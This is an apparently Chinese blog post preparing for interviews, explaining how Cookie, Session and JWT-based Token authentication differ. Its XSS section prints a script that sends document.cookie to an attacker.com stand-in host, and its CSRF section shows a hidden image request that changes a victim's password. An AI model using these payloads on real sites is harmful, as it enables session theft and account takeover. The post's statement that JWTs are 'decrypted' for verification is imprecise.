面试官:Cookie、Session、Token 有什么区别?

在近期的面试中,面试官问到了关于 Cookie、Session 和 Token 的区别。没答好,我想通过这篇文章,巩固一下这方面的知识,分享一下我对于这个问题的理解,希望也能对大家有所帮助。

我的回答

Cookie、Session 和 Token 它们都是在身份验证和授权时候使用的。

  • Cookie 存储在客户端的浏览器中,大小为 4KB 左右,每次请求都会在请求头中携带 Cookie ,数据可以被轻易查看和修改,容易遭受 XSS 和 CSRF 网络攻击。

  • Session 是由服务端创建并存储的,在请求登录时,服务端会生成一个 session 会话发送给客户端,并在响应头中设置 Set-Cookie,包含了 sessionId,sessionId 存在客户端的 cookie 中,后面每次请求都会带上 cookie,服务端根据 sessionId 查找对应的 Session 信息。

  • Token 是一种令牌,可以是随机生成的字符串或其他格式的凭证。JWT就是Token的一种表现形式,它由头部、负载、签名三部分组成的 Base64 编码的字符串,通过当用户登录,服务器会校验用户名密码,随后生成JWT发送给客户端,客户端下次请求需要携带token给服务器,服务器通过密钥解密进行校验。

官方一点的描述

无状态协议

HTTP是一种无状态协议,它在处理事务时没有记忆能力。每个HTTP请求都是独立的,服务器在处理请求时不会保存任何关于客户端的状态信息。这意味着服务器无法直接识别来自同一客户端的不同请求,也无法确认当前请求的发送者是否与之前的请求发送者是同一个人。

为了解决这个问题,服务器和浏览器需要采取一些机制来跟踪会话状态,以便确保在多个HTTP请求之间维持一致的用户身份。其中一种常见的机制是使用Cookie。

Cookie 是服务器发送到用户浏览器并保存在本地的一小块数据。浏览器会存储 cookie 并在下次向同一服务器再发起请求时携带并发送到服务器上,服务器根据cookie进行验证,从而保持用户的登录状态。Cookie 使基于无状态的 HTTP 协议记录稳定的状态信息成为了可能。

实现

html 复制代码
<script>
    fetch('http://localhost:3000')
    .then(res=>{
        document.cookie = res.headers.get('Set-Cookie');//将cookie存在本地
        return res.json()
        }
    )
    .then(data=>console.log(data))
</script>

模拟第一次登录

js 复制代码
const http = require('http')
const server = http.createServer((req,res)=>{
    res.writeHead(200,{
        'Access-Control-Allow-Origin' : '*',//允许跨域
        'Set-Cookie': 'i-am-a-cookie'//设置cookie
        }
    )
    const data = 'hello cookie'
    res.end(JSON.stringify(data))
})
server.listen(3000,()=>{
    console.log('listening on port 3000');
})

后端模拟接收到请求并已校验登录信息,设置 Cookie,并返回给前端

前端拿到数据:

响应头中显示Cookie:

前端将Cookie存入本地:

  • 特点:Cookie是一种在客户端存储数据的机制,由服务器通过 HTTP 响应发送给客户端,并由浏览器保存。每个 Cookie 通常包含一个键值对,用于存储特定的数据,如会话标识符、用户偏好设置等。
  • 优点:简单易用,适用于存储少量数据;客户端可控,可以设置Cookie的过期时间和作用域;广泛支持,几乎所有的Web浏览器都支持Cookie。
  • 缺点:有大小限制,每个Cookie通常只能存储几KB的数据;无法跨域;会降低性能,因为每个HTTP请求都会携带Cookie信息;安全性较低,Cookie中的数据可能会被窃取或篡改,容易遭受 XSS 和 CSRF 攻击。

XSS

跨站脚本攻击(Cross-Site Scripting,XSS)攻击是一种常见的 Web 安全漏洞,攻击者通过注入恶意脚本来利用用户对网站的信任,从而窃取用户信息、会话 cookie 等敏感信息。虽然通常我们不会在 cookie 中存储敏感信息,但是在某些情况下,攻击者可以利用 XSS 攻击来窃取 cookie。

攻击者可以在搜索框等场景中注入恶意脚本:

html 复制代码
<script>
  const cookieData = document.cookie;
  fetch('http://attacker.com/steal-cookie?cookie=' + encodeURIComponent(cookieData));
</script>

当用户进行搜索操作,脚本将被执行。导致用户的 cookie 数据被发送到攻击者的服务器。攻击者现在可以使用这些 cookie 数据进行恶意操作,例如篡改用户资料、发表评论等。

CSRF

跨站请求伪造(Cross-Site Request Forgery,CSRF)是一种 Web 安全攻击,攻击者利用用户已认证的会话来执行未经用户授权的操作。攻击者诱使受害者在登录状态下访问恶意网站,该网站会自动发起对目标网站的请求,利用受害者的身份执行某些操作,比如改变用户资料、发表评论、转账等。

攻击者 HTML 页面,其中包含一个隐藏的 <img> 标签,src 属性指向目标网站的修改密码接口。当受害者在登录状态下访问了这个恶意页面时,浏览器会自动加载这个图片并发送一个修改密码的请求,利用受害者的身份执行了修改密码的操作。

html 复制代码
<img src="http://target-website.com/change-password?newPassword=attacker_password" style="display: none;">

所以告诉我们,陌生链接不要点!

Session

Session 是指在客户端和服务器之间建立的一种持续的交互状态。当用户首次访问网站时,服务器会为该用户生成一个唯一的会话标识符(Session ID)。这个标识符通常是一个随机的字符串,用于唯一标识用户的会话。生成的会话数据存储在服务器中,服务器会将生成的Session ID发送给客户端。客户端的浏览器会将接收到的会话 cookie 存储在本地。每次客户端向服务器发送请求时,会自动将 cookie 包含在请求头中,从而使服务器能够识别用户的会话。

使用流程

  • 特点:Session是一种在服务器端存储数据的会话管理机制,用于跟踪用户在网站上的活动状态。服务器会为每个客户端创建一个唯一的会话对象,并在服务器端保存会话数据,通常存储在内存或数据库中。
  • 优点:数据存储在服务器端,相对较安全;可存储大量数据,不受客户端限制;支持复杂的数据结构和操作。
  • 缺点:消耗服务器资源,每个会话都需要占用一定的服务器内存或数据库存储空间;跨服务器时需要额外的管理机制,如Session复制或共享。

Token

Token 是一种用于进行身份验证和授权的令牌,通常由服务器生成并发送给客户端。与 Session 不同,Token 是无状态的,它包含了所有必要的信息以验证用户身份和访问权限,因此不需要在服务器端存储任何会话数据。常见的 Token 包括基于JSON Web Token(JWT)。

这里介绍一下JWT,参考阮一峰老师的日志(JSON Web Token 入门教程 - 阮一峰的网络日志 (ruanyifeng.com)

JWT由三部分组成:

  • Header 部分是一个 JSON 对象,描述 JWT 的元数据,包括签名的算法等等。然后将这个的 JSON 对象编译 Base64编码字符串。
  • Payload 部分也是一个 JSON 对象,用来存放实际需要传递的数据。同样将这个的 JSON 对象编译 Base64编码字符串。
  • Signature 部分是对前两部分的签名,防止数据篡改。使用服务器密钥和 Header 中指定的签名算法进行签名。

将三者用 "." 拼接得到如下令牌:

使用流程

用户第一次请求,服务器校验用户密码,生成JWT并返回给客户端,客户端可以储存在 Cookie 里面,也可以储存在 localStorage。此后,客户端每次与服务器通信,都要带上这个 JWT。你可以把它放在 Cookie 里面自动发送,但是这样不能跨域,所以更好的做法是放在 HTTP 请求的头信息Authorization字段里面。服务端收到JWT进行密钥解密校验,通过则响应数据,反之

  • 特点:Token是一种用于进行身份验证和授权的令牌机制。
  • 优点:无状态,服务器不需要保存任何会话数据,减轻了服务器的负担;可扩展性好,易于实现跨域认证和授权;安全性较高,Token通常使用签名或加密技术保护数据安全。
  • 缺点:一旦 Token 签发了,到期之前就会始终有效,除非服务器部署额外的逻辑,一旦泄露,可能会被滥用;Token的生成和验证可能会引入一定的复杂性。

JWT使用案例

总结

  • HTTP 是无状态的,为了维持请求状态,需要手动借助一些手段。
  • Cookie 是最早的技术,储存在客户端,安全性较差,需要注意防范网络攻击。
  • Session 是一种服务器端存储技术,基于 cookie 存储 SessionID,Session存储在服务器,通过前端携带的Cookie进行身份验证。
  • token JWT是无状态的,支持跨域,使得服务器不再需要存储 Session,是一种灵活和安全的身份验证手段。

最后

看到这里希望你已经对 Cookie、Session、Token 有了初步的认识,如果对本篇文对您有帮助,欢迎点赞、收藏、评论 !🙏

已将学习代码上传至 github,欢迎大家学习指正!

参考

傻傻分不清之 Cookie、Session、Token、JWT - 掘金 (juejin.cn)

JSON Web Token 入门教程 - 阮一峰的网络日志 (ruanyifeng.com)

技术小白记录学习过程,有错误或不解的地方还请评论区留言,如果这篇文章对你有所帮助请 "点赞 收藏+关注" ,感谢支持!!

相关推荐
小k_不小3 小时前
C++面试八股文:指针与引用的区别
c++·面试
上海运维Q先生7 小时前
面试题整理13----deployment和statefulset区别
运维·面试·kubernetes
梦境之冢10 小时前
axios 常见的content-type、responseType有哪些?
前端·javascript·http
DashVector10 小时前
如何通过HTTP API检索Doc
数据库·人工智能·http·阿里云·数据库开发·向量检索
哈利巴多先生10 小时前
HTTP,续~
网络·网络协议·http
白了个白i10 小时前
http的访问过程或者访问页面会发生什么
网络·网络协议·http
qq_3720068611 小时前
浏览器http缓存问题
网络协议·http·缓存
醒了就刷牙14 小时前
黑马Java面试教程_P9_MySQL
java·mysql·面试
黑客老陈17 小时前
面试经验分享 | 北京渗透测试岗位
运维·服务器·经验分享·安全·web安全·面试·职场和发展